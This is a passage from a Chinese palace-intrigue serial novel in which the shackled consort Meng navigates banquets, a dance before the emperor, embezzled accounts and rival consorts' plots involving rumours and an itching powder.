她望向远处的宫墙,眼中闪过一丝狠厉。
“淑妃娘娘,您可曾想过,若能举办一场盛大的宴会,定能让宫中众人都刮目相看。”阿孟恭敬地说道,眼中闪烁着微光。
淑妃微微一愣,随即露出一抹得意的笑容:“你倒是想得美!本宫的地位,岂是简单的宴会能彰显的?”
“娘娘的威仪自是无可厚非,但若能借此机会,让众人见识到您的风采,何乐而不为?臣妾也会派人去请皇上,绝不会让娘娘威仪有损。”阿孟轻声劝道,语气中透着几分诚恳。
淑妃听了,眼中闪过一丝兴趣:“你说得也有道理,就依你所言,准备这场宴会。”
阿孟心中暗自窃喜,立刻开始忙碌地筹备宴会。
从菜品的选择到场地的布置,她都亲力亲为,力求做到尽善尽美。
每一个细节都不敢怠慢,甚至连花卉的摆放也一丝不苟。
“这桌上的花朵,怎么能用这种普通的品种?”淑妃突然插嘴,语气中带着几分不满。
“娘娘,您看这花色与您的衣裳相得益彰,定能衬托出您的美丽。”阿孟微微一笑,耐心地解释。
“你这丫头倒是会说话,不过也不能因此就放松了要求!”淑妃冷哼一声,眼中闪过一丝得意。
阿孟心中明白,淑妃的挑剔不过是想要在她面前显示优越感。她心中默念,耐心应对:“是,臣妾会再去挑选更合适的花卉。”
在筹备过程中,淑妃
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时不时地挑剔阿孟,甚至动手推搡她,阿孟却始终保持着微笑,任由她发泄。
“你这丫头,怎么这么低贱,居然这么会讨好一个人,难怪之前谢贵妃把你留在身边照顾。”淑妃嘲讽道,眼中满是轻蔑。
“娘娘过奖了,臣妾不过是尽自己的本分罢了。”阿孟微微低头,心中却暗自冷笑。
“哼,倒是有几分自知之明。”淑妃嘴角扬起一抹不屑,心中却对阿孟的顺从感到几分满意。
宴会的日子终于来临,华灯初上,宫中布置得如梦似幻。
阿孟站在一旁,心中暗自得意,眼见淑妃的威仪在众人面前愈发显赫。
“娘娘,您今日真是光彩照人,众人皆为您倾倒。”阿孟恭维道,眼中闪烁着算计的光芒。
“你这丫头倒是会说好听话。”淑妃心中愉悦,脸上却不动声色。
“不过,今日的宴会,若不是我提议,恐怕也不会如此盛大。”阿孟故作无意地说道,眼中带着一丝挑衅。
淑妃微微一愣,随即冷笑:“你也不过是个囚徒,怎敢如此放肆?”
“臣妾不过是想让娘娘明白,您的地位无人能及,众人皆需仰望。”阿孟微微一笑,语气中透着几分坚定。
淑妃的脸色微微一变,心中却暗自欣赏阿孟的胆略:“你倒是有几分本事,从前怎么没发现你竟然这般有想法。”
阿孟没有直接回应,而是指挥宫女们布置场地,向淑妃请示:“娘娘,您觉得这桌上的菜品是否合您心意?”
淑妃坐在高座上,微微挑眉,目光扫过一桌丰盛的菜肴,嘴角勾起一抹满意的笑容。
宴会开始,众妃嫔纷纷到场,淑妃在众人面前显得光彩照人,阿孟则在一旁默默观察。
嫔妃们窃窃私语,直到墨司渊的到来,才让现场顿时安静。
众人起身,朝着皇上行礼。
“臣妾参见皇上!”
墨司渊大手一挥,让众人落座,可安静至极时,阿孟的行动便让脚上的镣铐相撞,声音格外清晰。
众人顿时被吸引,纷纷看向阿孟裙下。
第206章 惊艳一舞
“瞧瞧,堂堂孟贵妃,如今却沦为阶下囚。”一位妃嫔掩唇轻笑,声音压的极低。
“听说她每日在淑妃宫中打杂,像个粗使婢女。”另一人接道。
不少妃子都知道阿孟并非如他们一样出身高贵,坐在席间,眼中闪过一丝嫌恶:“这等犯人,也配与我等同席?”
阿孟脸色不变,眸中寒光一闪而过。
她不动声色地理了理衣袖,缓缓坐下,动作从容不迫。
铁链虽束缚双足,却未能折损她半分气度。
墨司渊目光阴鸭地扫过众妃,眉头紧锁。
阿孟受辱,无异于打他脸面。
她再不得宠,也曾是他亲封的贵妃。
“闭嘴!”墨司渊声音冰冷,殿内顿时鸦雀无声。
淑妃心头一惊,急忙起身端起酒杯,面上堆满笑意:“皇上能在百忙之中赏光,臣妾不胜荣幸。这宴会本为替皇上解忧而设,还望皇上能尽兴畅饮。”
“是啊,皇上近来操劳国事,应当适时放松。”一位妃子附和道。
墨司渊目光掠过阿孟,眼中情绪难辨:“既是设宴,何必让孟贵妃戴着镣铐前来?”
淑妃心中一凛,勉强笑道:“皇上恕罪,臣妾也是疏忽了这一点……”
阿孟垂首不语,嘴角却勾起一丝几不可见的冷笑。
分明是他带上的脚镣不允许墨司渊此举并非怜惜于她,不过是在意自己的威严罢了。
淑妃面色微变:“皇上明鉴,孟贵妃乃是朝廷重犯,臣妾不敢擅自解除镣铐。”
“重犯?”墨司渊目光转向阿孟,眼中闪过一丝探究,“本宫倒不知她犯了何等滔天大罪。”
阿孟抬眸,迎上墨司渊的目光:“臣妾谢皇上关怀,这镣铐臣妾已习惯,无碍宴席之乐。”
墨司渊闻言,目光更加深邃:“孟贵妃深明大义,不愧是朕的爱妃。”
淑妃心中嫉妒,强忍不悦:“臣妾敬皇上一杯,祝皇上龙体安康,国泰民安。”
“皇上,这宴席菜肴皆是淑妃娘娘精心挑选,样样合您口味。”阿孟忽然开口,语气温和,似是在帮淑妃解围。
墨司渊微一颔首:“那便尝尝。”
“娘娘确实用心良苦。”阿孟继续道,“为了这宴席,连宫中最偏僻的角落都让我打扫得一尘不染,生怕有所怠慢。”
墨司渊目光在二人间来回扫视:“今日宴席,且尽兴而为。”
“皇上英明。”阿孟微微行礼,衣袖轻拂,遮掩了眼中的算计。
宴席继续,席间众妃小心翼翼,不敢再对阿孟多加嘲讽。
墨司渊时不时看向阿孟,眼中闪过复杂情绪。
淑妃内心恼怒不已,本想借宴席彰显威风,不想竟被阿孟几句话搅得心神不宁。
淑妃心中暗恼,不想让阿孟抢了风头。
“皇上,此次宴席布置可还合您心意?”淑妃巧笑倩兮,目光中闪烁着期待。
墨司渊环顾四周,满意地点了点头:“很好,淑妃有心了。”
“皇上喜欢便好。”淑妃娇声道,素手轻轻拉住墨司渊衣袖,“臣妾特意备了您最爱的景阳春酒,还请皇上移步上座同饮。”
墨司渊顺势坐下,淑妃立刻挨着他落座,倚在他肩旁为他满上酒水。满殿妃嫔见此情景,不禁低头窃窃私语。阿孟垂眸站在一旁,面色平静无波。
“皇上,今日臣妾还准备了一份特别的节目。”淑妃突然开口,目光转向阿孟,“孟贵妃向来舞姿曼妙,臣妾便请她献一支舞,为皇上助兴。”
此话一出,阿孟暗中攥紧了袖中的手指。她早已看破淑妃的心思,无非是想趁机羞辱于她。
墨司渊眼中闪过一丝兴味:“哦?孟贵妃要跳舞?”
阿孟正欲开口,淑妃却抢先道:“皇上,孟贵妃脚上的镣铐恐不便起舞,不如暂且解下如何?”
“准了。”墨司渊淡淡地点头,目光深不可测。
淑妃心中暗喜,转头看向阿孟:“孟贵妃,还不速速准备?”
“臣妾遵命。”阿孟福身行礼,面上不露半分不悦。
云珠忙上前搀扶阿孟往侧殿而去。刚入侧室,
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云珠便急切道:“娘娘,您这伤势如何起舞?”
“傻丫头,你会什么舞?”阿孟轻轻摇头,脱下外袍,露出青紫的手臂,“此番是淑妃故意刁难,我若退缩,反让她得逞。”
云珠眼中含泪,小心翼翼地为阿孟换上舞衣:“可您身上的伤……”
阿孟站直身子,目光坚毅:“无妨。疼痛乃是身外之物,我忍得住。更何况,这正是我们所需的机会。”
“什么机会?”云珠疑惑地问。
阿孟压低声音:“这宴席上不少妃嫔暗中与谢妤交好,今日之舞若能震慑群芳,便能让淑妃颜面扫地。”
云珠眼中闪过担忧:“娘娘可小心,莫要伤了旧疾。”
“你且放心。”阿孟嘴角微扬,“顺便为我备些伤药,待舞罢便送回我宫中。趁此机会,你再去寻一趟贺景行留下的信物。”
云珠点头应下:“娘娘放心,奴婢定会小心行事,不让人发觉。”
阿孟握住云珠的手,轻声嘱咐:“记住,无论听到什么风声,都不可轻举妄动。此事事关重大,切不可声张。”
“奴婢明白。”云珠认真点头。
殿外琴声响起,宾客屏息凝神。
阿孟一袭红衣缓步入场,腰间银铃轻响,与脚镣声交织成奇异乐章。
“孟贵妃这是要在皇上面前丢人现眼?”一位妃嫔低声嘲笑。
阿孟不语,素手轻抬,随着丝竹声起舞。
她动作轻盈如水,腰肢柔若无骨,仿佛伤口不曾存在。
每一个转身,每一次踮足,皆如行云流水,不见半分凝滞。
墨司渊目光如炬,紧盯阿孟不放。那舞姿似曾相识,却又带着陌生感。他心中不禁升起一丝疑惑,这真的是他曾经认识的阿孟吗?
淑妃在一旁看得面色铁青。她本想借此羞辱阿孟,不想反倒让阿孟在墨司渊面前大放异彩。
舞毕,阿孟额上微汗,向墨司渊行礼:“献丑了。”
墨司渊起身,亲自上前搀扶:“孟贵妃舞姿依旧出众,令朕赏心悦目。”
第207章 宴后承恩
“皇上过奖了,若非淑妃娘娘提议,臣妾哪敢如此贸然献丑。”阿孟眼中含笑,声音却极轻柔,“淑妃娘娘心思细腻,处处为皇上着想,臣妾实在敬佩。”
墨司渊轻轻扶住阿孟手腕:“你脚伤未愈,怎能如此起舞?”
“臣妾无碍,些许伤痛算得了什么?”阿孟淡然一笑,眸中暗藏坚韧,“能为皇上献舞,是臣妾的荣幸。”
淑妃强挤笑容:“皇上,臣妾早已命人备好御膳,还请移步品尝。”
墨司渊点头,却未松开阿孟的手:“一同前往。”
淑妃瞪大眼睛:“皇上,孟贵妃身份特殊,恐怕不宜……”
“淑妃忘了?今日宴会是你所设,孟贵妃是你所邀。”墨司渊语气平淡,眼中却闪过冷光,“难道淑妃要违背自己的安排?”
“臣妾不敢。”淑妃咬牙低头。
席间,墨司渊多次为阿孟布菜,引得众妃侧目。
“孟贵妃身子不适,多吃些暖胃的食物。”墨司渊声音不大,却让在座众人听得真切。
阿孟低垂眼睑:“多谢皇上关怀。”她转向淑妃,“淑妃娘娘安排的菜肴确实精致,色香味俱全,不愧是皇上最宠爱的妃子。”
这话说得巧妙,既是赞美,又暗含机锋。淑妃强忍怒火,笑道:“孟贵妃过奖了,不过是尽心尽力为皇上准备罢了。”
宴会结束,墨司渊赐予淑妃珍宝无数,却也不忘关照阿孟:“朕已命太医前往你宫中,为你诊治脚伤。”
“皇上恩典,臣妾心领。”阿孟欠身,“只是臣妾伤势并无大碍,不必劳烦太医。臣妾自有秘方,调养数日便可痊愈。”
墨司渊微微皱眉:“你向来倔强,既如此,便依你所言。若有不适,切莫硬撑。”
“臣妾谨记皇上叮嘱。”阿孟微微一笑,眼中闪过一丝复杂。
“淑妃,今晚朕便留在你宫中。”墨司渊突然宣布。
淑妃大喜过望:“臣妾定当精心侍奉,不负皇上恩典。”
阿孟神色不变,只是向墨司渊告退。她背影沉稳,步伐平稳,丝毫不见慌乱。
墨司渊目送阿孟远去,眼中闪过一丝捉摸不透的神色。
夜色微凉,宫灯如豆。
“娘娘,终于回来了。”云珠迎上前,搀扶着阿孟步入苔蘅殿。
阿孟轻咳一声,脸上的笑容顿时消失,眉间隐隐透出疲态:“关上门。”
“娘娘您的脚……”云珠见阿孟缓缓落坐,目光落在她红肿的脚踝上,一时间眼眶通红,“都肿成这样了,您还跳什么舞啊!淑妃分明是故意的!”
阿孟伸手取下钗环,语气平静:“不必惊慌,不过是皮肉之苦。”
“可是娘娘……”云珠跪地打开药箱,泪珠已然滑落,手上却不停动作,取出伤药熟练地调配。
阿孟凝视着窗外深邃的夜色,轻声道:“云珠,记住,这都是必经之路。今日之痛,来日百倍奉还。”
“是,娘娘。”云珠用温水小心地为阿孟擦拭伤处,忽而又喜道,“好在脚镣已除,娘娘您终于不必日日忍受那份苦楚了。”
阿孟眸光一闪:“脚镣虽除,却未必是好事。”
“何出此言?”云珠疑惑地抬头。
“墨司渊心思难测。”阿孟垂眸看着自己红肿的脚踝,“他今日为我解脚镣,不过是试探罢了,日后我们继续伪装就是。”
云珠点头,连忙帮助阿孟上药。
次日清晨,晨雾环绕殿宇,碧玉匆匆而来。
“孟贵妃,淑妃娘娘命奴婢来请您一叙。”碧玉行礼道,眼神却不敢与阿孟对视。
阿孟放下手中绣花,淡然起身:“烦请稍等,我随你前去。”
淑妃宫中,香气袭人。
淑妃斜倚在软榻上,见阿孟进来,嘴角微扬。
“昨日宴会,你倒是表现得不错。”淑妃指了指身旁的蒲团,“坐吧,不必拘礼。”
阿孟缓步上前,施礼后落座:“承蒙娘娘赞赏,臣妾惶恐。宴会能让皇上尽兴,全赖娘娘安排妥当。”
“你那一舞,倒是吸引了皇上目光。”淑妃眯起眼睛,语气中带着试探
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,“本宫倒是好奇,你伤势未愈,如何跳得这般轻盈?”
阿孟低眉浅笑:“不过是强撑罢了。为娘娘分忧,是臣妾分内之事。”
“分内之事?”淑妃冷笑一声,“你真以为本宫会信你这套说辞?”
“娘娘何必试探?”阿孟抬眸直视淑妃,“臣妾如今境况,不过一困笼之鸟。若能依附娘娘,对臣妾而言是唯一生路。娘娘大可利用臣妾,成就自己大业。”
淑妃一愣,随即轻笑:“你倒是坦率。本宫若要利用你,你不怕将来被本宫舍弃?”
“那时娘娘若已登上后位,我阿孟不过一枚弃子,又如何与娘娘争锋?”阿孟说得真诚,眼中却闪过一丝不易察觉的冷意。
淑妃思索片刻,起身踱步:“你既如此识时务,本宫倒可给你一个表现机会。”她转身看向阿孟,“本宫宫中账目杂乱,你可愿代为管理?”
“既然娘娘信任臣妾,臣妾自当尽心尽力。”阿孟起身行礼,“宫中账目繁多,臣妾愿意接手管理,为娘娘分忧。”
淑妃满意地点头:“也好,你曾经管理后宫,对这些事务应当熟悉。你且先从月钱开始清点。”
“娘娘明鉴。”阿孟应声,“臣妾想问,可否让云珠协助?她虽是个丫环,却识文断字,能帮臣妾记录。”
“准了。”淑妃挥挥手,“但记住,若有半点差错,本宫绝不轻饶。”
“娘娘放心,臣妾定当谨慎行事。”阿孟垂首,掩去眼中计谋。
接下来几日,阿孟开始接手淑妃宫中账目。
她细心整理各项开支,表面上严格控制用度,实则在暗中做些手脚。
夜深人静,阿孟在自己宫中与云珠低声交谈。
“娘娘,您确定这样做万无一失吗?”云珠担忧地问,“若被淑妃发现账目有异……”
“放心,我自有计划。”阿孟抚摸着手中账册,“这些账目看似无误,实则暗藏玄机。我已将一部分宫中采购款转用于接济孟家旧部,还有一部分用来打通宫外的关系。”
第208章 猜忌
“那淑妃娘娘那边……”
“她只看结果,不问过程。”阿孟冷笑,“只要表面上能为她省钱,她又如何会细究?更何况,这些账目错综复杂,非三两日能看透。”
云珠恍然大悟:“娘娘果然深谋远虑!”
“此事暂时不必声张。”阿孟收起账册,“待时机成熟,我们便可一举反击。你替我好好保管这些账本,它们将是我们日后的重要凭证。”
夜色深沉,银钩挂月。
次日清晨,红豆匆匆叩响苔蘅殿门。“孟贵妃,娘娘许久不见您,还真是想念呢,不止今日可有空去朝露宫走走?”
阿孟搁下手中药瓶,眸光微闪:“谢娘娘身体可好些了?”
“回孟贵妃,娘娘身体稍有好转,只是惦记着近日宫中变故,特意请您前去说话。”红豆低垂着头,声音恭敬却暗含试探。
阿孟轻抚衣袖:“既如此,便随你去吧。”
谢妤寝宫内,熏香绕梁。她半靠在榻上,见阿孟进门,面上故作温和,眼里却藏着冷意。
“孟贵妃来了。”谢妤示意红豆退下,待门帘落下,她立刻换了面色,冷笑道,“听说昨日淑妃设宴,你倒是风光非常?”
阿孟不慌不忙,施礼落座:“娘娘过誉了。臣妾不过是淑妃宴席上的一个笑柄罢了。”
“笑柄?”谢妤嗤笑一声,眼中寒光毕现,“本娘娘听闻皇上为你解除脚镣,亲自赐菜,还命太医为你诊治。这般恩宠,竟是笑柄?”
阿孟端起茶盏,面色平静:“皇上此举,不过是维护自己颜面罢了。当初是他亲手封的贵妃,若任由淑妃折辱,岂不显得他无能?”
“你当本娘娘是三岁孩童?”谢妤猛地坐直身子,脸上泛起怒色,“我与你合谋对付淑妃,你却暗中勾连皇上,是何居心?莫非想故技重施,再度得宠?”
阿孟放下茶盏,眼中闪过一丝讥讽:“娘娘言重了。臣妾若真想重获圣宠,何必受尽**,在淑妃宫中做牛做马?”
“那你解释解释,为何忽然与淑妃交好?”谢妤目光如刀,紧盯阿孟面容,“莫非是计划有变?”
“非是交好,而是攻心为上。”阿孟轻声道,指尖轻轻叩着茶盏,“淑妃让我管理她宫中账目,这正是我们的机会。”
谢妤眉头微蹙:“什么机会?”
“淑妃近日得宠,心思多放在皇上身上,宫务便交给我打理。”阿孟嘴角勾起一抹冷笑,“我已将部分银两暗中转移,接济孟家旧部,还打通了几条宫外线路。”
“你敢动用淑妃的钱财?”谢妤神色微变,惊疑参半。
阿孟眸光沉静:“账目我自有法子平衡,她察觉不出。”顿了顿,她又补充道,“待她彻底沉浸在宠爱中无暇顾及时,我会让她一败涂地。”
谢妤沉思片刻,眼中渐渐泛起一丝了然:“你是要让她栽在银钱上?”
“非止于此。”阿孟声音轻柔却字字如冰,“一个得宠妃子挪用宫中银两不算大事,但若这银两流向与谋反有关的地方,便是死罪。”
谢妤眼中闪过一丝赞赏,却又迅速隐去:“你倒是好算计。只是,此事若成,对你有何好处?”
“臣妾只求安稳度日。”阿孟低头,掩去眼中锋芒,“若能借娘娘之手除掉淑妃,也算替孟家报一箭之仇。”
谢妤冷冷一笑:“报仇?就凭你这残花败柳?”
阿孟不为所动:“花败可再开,柳残能复生。”
“好一个复生。”谢妤语带讥讽,手指把玩着锦帕,“只怕你等不到淑妃倒台那日。”
阿孟心头一颤,面上却不露分毫:“皇上多疑是常事。臣妾若非孟方意,又怎会沦落至此?”
“但愿如此。”谢妤意味深长地看了她一眼,“你且记住,本娘娘允你暂时栖身,是看在你有用之处。若有半分差池,休怪我不留情面。”
“臣妾明白。”阿孟郑重行礼,“待计划成功,定让娘娘如愿登上后位。”
谢妤打量着阿孟离去的背影,嘴角勾起一抹冷笑。
“红豆,你可知道淑妃近日行踪如何?”谢妤敛去眼中寒光,
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放下手中茶盏。
红豆俯身回道:“回娘娘,淑妃这几日都在皇上身边,难舍难分。听说连宫务都交给孟贵妃打理了。”
“当真如此?”谢妤冷哼一声,指节在案几上轻叩,“淑妃这是得意忘形了。”
红豆轻声道:“娘娘,奴婢听闻淑妃近日要在御花园举办赏花宴,邀请后宫诸妃共赏春色。”
谢妤眸光一闪,若有所思:“赏花宴?正好,本宫也该出去走走了。”她停顿片刻,又道,“你去找小安子,让他来见我。”
“娘娘,小安子已在殿外候着了。”红豆低声禀告。
谢妤轻笑:“他倒是机灵。唤他进来。”
小安子是淑妃宫中的小太监,因偷偷带信给谢妤,已被收买。他进殿后跪伏在地,战战兢兢道:“奴才给娘娘请安。”
“免了。”谢妤挥手示意他起身,“淑妃那边可有什么动静?”
小安子低声回答:“回娘娘,淑妃最近在准备赏花宴,还特意命人从江南运来珍稀花卉。她说要借此机会向皇上展示她的雅致。”
谢妤眼中闪过一抹阴鸷:“展示雅致?”她从袖中取出一个小瓶子,递给小安子,“这是樟脑香,你找机会将它撒在淑妃的衣物上。”
小安子接过瓶子,心下一惊:“娘娘,这……”
“怎么,你不敢?”谢妤眼神骤冷。
小安子忙道:“奴才不敢违抗娘娘旨意,只是……”
“只是什么?”
“只是淑妃的衣物都有专人看管,奴才难以接近。”
谢妤从榻上缓缓起身,走到小安子面前,冷笑道:“你若办成此事,重重有赏。若泄露半分,你知道后果。”
小安子额上渗出冷汗:“奴才明白,定当谨慎行事。”
送走小安子,谢妤靠回软榻,面露思索之色。红豆侍立一旁,小心翼翼道:“娘娘,可要再请孟贵妃过来商议?”
“她还不值得本宫信任。”谢妤冷哼一声,“不过,她既然能从淑妃那里接管账目,倒是可以利用一番。”
第209章 流言斗争
红豆不解:“娘娘是说……”
“你去安排人手,在后宫散布些流言。就说淑妃之所以得宠,是因为使用了邪术。”谢妤目光阴沉,“还要暗示她私下挪用宫中银两,贿赂皇上身边的太监。”
红豆心下一惊:“这等流言若传入皇上耳中……”
“正是要让皇上听到。”谢妤冷笑,“墨司渊最忌讳的就是被人操控。若他听闻淑妃用邪术迷惑他,定然会心生疑虑。”
红豆恍然:“娘娘高明。”
次日,谢妤命人备了贺礼,送往淑妃宫中。
谢妤命人备了贺礼,送往淑妃宫中,檀木礼盒上系着绯红锦带,精致非常。
淑妃打开礼盒,面露惊讶之色:“谢妃竟送来这等贵重之物?”她取出一对翡翠手镯,在阳光下观赏,冷笑道,“怕是别有用心。”
碧玉在旁小声道:“娘娘,近日后宫有些流言,说您……”
“说什么?”淑妃眸光一冷。
“说娘娘用邪术迷惑皇上,还挪用宫中银两贿赂内侍。”碧玉跪下,声音颤抖,“奴婢也不知道这传言是从何处而来。”
淑妃将手镯重重掷回礼盒,怒道:“定是谢妤,竟敢诋毁本宫,还送来这东西试探我!”她起身踱步,忽而停下,勾唇一笑,“既如此,便让她尝尝自食恶果的滋味。”
傍晚,淑妃宫中灯火通明。墨司渊刚刚落座,淑妃便泪眼婆娑地跪下:“皇上,臣妾有冤情要诉。”
墨司渊皱眉:“何事让你如此伤心?”
“臣妾不过是得皇上恩宠,却招来谢妃嫉恨。”淑妃抽泣道,“她在后宫散布流言,说臣妾用邪术迷惑皇上,还挪用宫银贿赂内侍。”
墨司渊眼中闪过一丝寒光:“可有确证?”
“臣妾不敢妄言。”淑妃双手捧出一封密信,“这是谢妃给她宫中心腹的指示,让他们在后宫散布谣言。”
墨司渊接过信件,神色渐冷:“朕会查明此事。”
“皇上!”淑妃拉住墨司渊衣袖,哽咽道,“臣妾并非怕人诋毁,只是不愿皇上被这等流言扰乱圣心啊!谢妃心怀嫉妒,早已不是一日了。”
墨司渊轻抚她的发:“安心,朕自有分寸。”
次日,淑妃在花园遇见阿孟,笑意盈盈道:“孟贵妃,账目整理得如何了?”
阿孟躬身行礼:“回娘娘,已基本理清,只是发现些许疑点。”
“疑点?”淑妃故作惊讶。
“谢妃宫中每月皆有大笔银两进出,去向不明。”阿孟拿出账册,指着一行记录,“单是上月,便有三百两银子无故消失。”
淑妃眸光一转:“你且继续查,若有确凿证据,本宫亲自禀告皇上。”
一旁的碧玉上前:“娘娘,皇上已到宫门。”
淑妃满意地点头,对阿孟道:“孟贵妃随本宫来,皇上今日要游湖,你也一同前往。”
阿孟恭敬应是,心中却暗自盘算。
游湖船上,墨司渊坐于首位,淑妃依偎在侧,阿孟则坐在船尾处。
淑妃故意提起账目问题:“皇上,臣妾命孟贵妃整理宫中账目,却发现谢妃宫中银两去向不明,此事该如何处置?”
墨司渊眉头微蹙:“有何证据?”
淑妃示意阿孟上前。阿孟捧出账册,轻声道:“回皇上,谢妃宫中确有银两不明去向,且数额不小。”
墨司渊接过账册翻阅:“此事朕会亲自过问。”他看向阿孟,“你果然心思细腻,账目整理得很是清晰。”
“臣妾不敢当。”阿孟垂首,“只是尽心为淑妃娘娘分忧罢了。”
墨司渊微微颔首,目光却在阿孟身上多停留了几分。
淑妃察觉到皇帝的异样,心中警铃大作。她笑着将话题引开:“皇上,臣妾听闻谢妃近日与一宫外之人密切往来,此人能自由出入宫门,实属蹊跷。”
墨司渊眼神陡然锐利:“此话当真?”
淑妃佯装惊慌:“臣妾也是刚得知,未敢轻信。但皇家宫禁森严,若有外人能随意进出,怕是……”
话未说完,墨司渊已沉声道:“此事朕会彻查。”
回宫后,淑妃将阿孟留下:“你做得很好
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,继续盯着谢妤。若能找到她勾结外人的证据,重重有赏。”
阿孟垂眸应是:“臣妾明白。”
谢妤得知墨司渊对她态度骤变,又听闻淑妃暗中调查自己,心急如焚。她唤来红豆:“皇上为何对我忽然疏远?可是淑妃从中作梗?”
红豆低声道:“娘娘,奴婢打听到淑妃向皇上告您的状,说您散布谣言污蔑她。还拿出一封您的亲笔信作证。”
谢妤勃然大怒:“什么信?本宫根本未写过!”她猛地想起什么,面色惨白,“是了,淑妃是在反将一军!她定是发现了我们的计划。”
谢妤心中掀起惊涛骇浪,眉头紧锁,指尖在锦帕上用力揉搓。
“娘娘莫急,也许只是巧合。”红豆低声劝慰,却掩不住声音中的忧虑。
谢妤冷笑一声:“巧合?本宫在宫中多年,从未信过巧合二字。淑妃此女心机颇深,定是发现了什么。”她搁下锦帕,抬手扶额,“日前那流言之事,虽然就是本宫授意,如今却恰好被她反咬一口,真真可恨。”
“那孟贵妃那边……”红豆犹豫片刻,低声道。
谢妤眸光微闪:“她近日与淑妃走得过近,本宫也不敢确定其心。”她轻抚手腕上的镯子,冷声道,“让人盯紧她,若有异动,即刻来报。”
与此同时,淑妃寝殿。
“孟贵妃,近日宫中不太平,你可要多加小心。”淑妃执起银镜,细细描眉,眼中带着若有若无的笑意。
阿孟恭敬行礼:“多谢娘娘提点,臣妾不明白,何来不太平之说?”
“谢妤那边动作频繁,怕是已有所察觉。”淑妃放下银镜,转身面向阿孟,“你接管本宫账目一事,想必令她十分不安。”
阿孟垂首掩去眼中的精光:“娘娘英明,谢妃确实派人打探过账目之事。臣妾只说是例行整理,并未透露其他。”
“她暗中招揽后宫势力多年,人脉甚广。”淑妃起身走至窗前,望着院中花树,“皇上虽宠我,却也防备着我。若非有确凿证据,恐难以动摇她的地位。”
第210章 中秋风波
淑妃的话音刚落,殿外太监高声传旨。
“皇上有旨!”
淑妃连忙整理衣襟,迎出殿门。墨司渊的旨意传来:“命淑妃于中秋之夜设宴,邀后宫诸妃共赏月色。”
“臣妾遵旨。”淑妃眉眼含笑,接过圣旨,心中暗喜。
回到殿内,淑妃唇角勾起得意之色:“孟贵妃,皇上命我筹备中秋夜宴。你与我共事多日,我看你做事井井有条,此次宴会,便由你负责部分筹备。”
阿孟微微福身:“臣妾领命。不知娘娘想让臣妾负责哪些事务?”
“席位安排、菜品选择,这些你都要过目。”淑妃走至妆台前,轻抚发髻,“宴会上你要安排谢妤坐在最不起眼的位置。”
“娘娘,此举会不会太过明显?”阿孟小心试探。
淑妃冷笑一声:“让她知道,皇上宠爱的是谁。”转身又问,“名单你已拟好了吧?”
“是。”阿孟从袖中取出名单,“后宫妃嫔共十二人,除了谢妤外都在名单上。”
淑妃挑眉:“你倒是懂我心意。不过,将谢妤也加上。我要她亲眼看着皇上对我的恩宠。”
阿孟应声,心中却已有算计。
次日,阿孟巧遇谢妤宫女红豆,故意让她瞥见自己手中名单。
红豆匆匆回到朝露宫,向谢妤禀报:“娘娘,孟贵妃手持名单,似是中秋夜宴的邀请人选。您的名字被列在最后一位。”
谢妤手中茶盏重重落下:“淑妃如此待我?”
她眸光转冷:“小安子近日可有消息?”
“回娘娘,小安子已打探到夜宴安排。淑妃命人在御花园搭建高台,届时将有歌舞表演。”
谢妤唇角勾起阴冷笑容:“既如此,我们也该准备些什么。小安子可有法子接近淑妃的座椅?”
红豆低声道:“小安子负责灯具摆放,能靠近主位。”
“好。”谢妤从暗格取出一个小瓶,“这是能让人皮肤发痒的花粉,让他将此物撒在淑妃座椅和衣袍上。”
红豆接过小瓶,心中忐忑:“娘娘,若事情败露……”
“无妨。”谢妤冷笑,“大不了说是孟贵妃所为。毕竟,她才是负责安排座次之人。”
说着,谢妤拿出了一个瓷瓶。
“这药粉能使人全身瘙痒难耐,哪怕只是沾上一点,若无解药,也会挠的血肉鲜红,你可要小心使用。”
“此药粉定让淑妃好看。”谢妤冷笑着将小瓶递给红豆,眼中闪烁着报复的快意,“待她皮肤奇痒难耐,在众妃面前出丑,看她如何做人!”
红豆小心收好小瓶:“娘娘,奴婢会转交给小安子,只是此事若被发现…………”
“无妨。”谢妤指尖轻叩桌面,慢条斯理道,“宴会筹备皆由孟贵妃负责,一旦出事,嫌疑自然落在她头上。”她唇角勾起一抹阴险笑意,“区区花粉算什么?本宫要看她身败名裂!”
御花园中,中秋夜宴的准备已近尾声,阿孟在一旁督促宫女摆放最后的装饰。
淑妃盛装而来,头戴金凤钗,身着锦绣华服,颈间挂着墨司渊新赐的明珠项链,光彩照人。
“孟贵妃,准备得如何了?”淑妃扫视全场,满意地点头,“你果然没让本宫失望。”
阿孟恭敬垂首:“多谢娘娘信任。诸位妃嫔即将到达,一切已安排妥当。”
淑妃得意一笑:“本宫要让所有人看看,皇上如何宠爱于我。”她突然压低声音,“谢妤那**,你可安排在了最不起眼的位置?”
阿孟眸光微闪:“娘娘所言极是。臣妾已将谢贵妃安排在最角落处,且与顾美人相邻。”
“好,很好。”淑妃满意地轻拍阿孟肩膀,“你做事,本宫放心。”
夜色渐浓,宫灯如昼。
诸妃陆续到场,各自落座。
小安子趁着上菜混乱之际,悄悄靠近淑妃座位,眼疾手快地将花粉撒在靠垫与扶手上。
“皇上驾到!”
墨司渊一身明黄龙袍,面容肃穆,目光在场中一扫而过,最终落在淑妃身上。
淑妃娇羞起身相迎,挽着皇帝的手臂落座。
“臣妾敬皇上
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一杯。”淑妃举杯轻启朱唇,“中秋良辰,佳节共赏,臣妾不胜欢喜。”
墨司渊微微点头,眼角余光却瞥向站在一旁的阿孟。
阿孟察觉到皇帝目光,垂首避开,心中却警觉万分。
淑妃刚刚入座,皓月当空之际,她忽然面色一变,右手无意识地抓挠起颈间肌肤。
起初她还能忍耐,但随着时间推移,瘙痒感如千万只蚂蚁爬过全身,难以抑制。
“这……这是怎么回事?”淑妃强忍不适,艰难维持微笑。
她的脸颊渐渐浮现出红疹,眼眶变得通红。
不过片刻,一个响亮的喷嚏打破了宴席间的和谐氛围。
淑妃惊慌失措,捂住口鼻,却止不住连续喷嚏。
站在一旁的阿孟神色微动,眸光一闪而过。
她观察着淑妃的异常反应,心中已有所思。
“皇上……臣妾……臣妾感觉不适……”淑妃挣扎着站起身,面上红疹已经密布,她抓挠着自己的手臂,失了平日的优雅。
墨司渊微微蹙眉:“怎么了?”
“臣妾浑身奇痒,恐是……恐是中了邪术!”淑妃抽泣道,视线忽然锁定角落里的谢妤,“一定是她!她向来嫉恨臣妾得宠,定是她在作祟!”
谢妤坐在席末,闻言倒吸一口冷气。
她早已安排小安子撒下花粉,却不料淑妃竟当众指责。
她站起身,面色冷峻:“淑妃娘娘,请慎言。本宫与你素无瓜葛,何来作祟一说?”
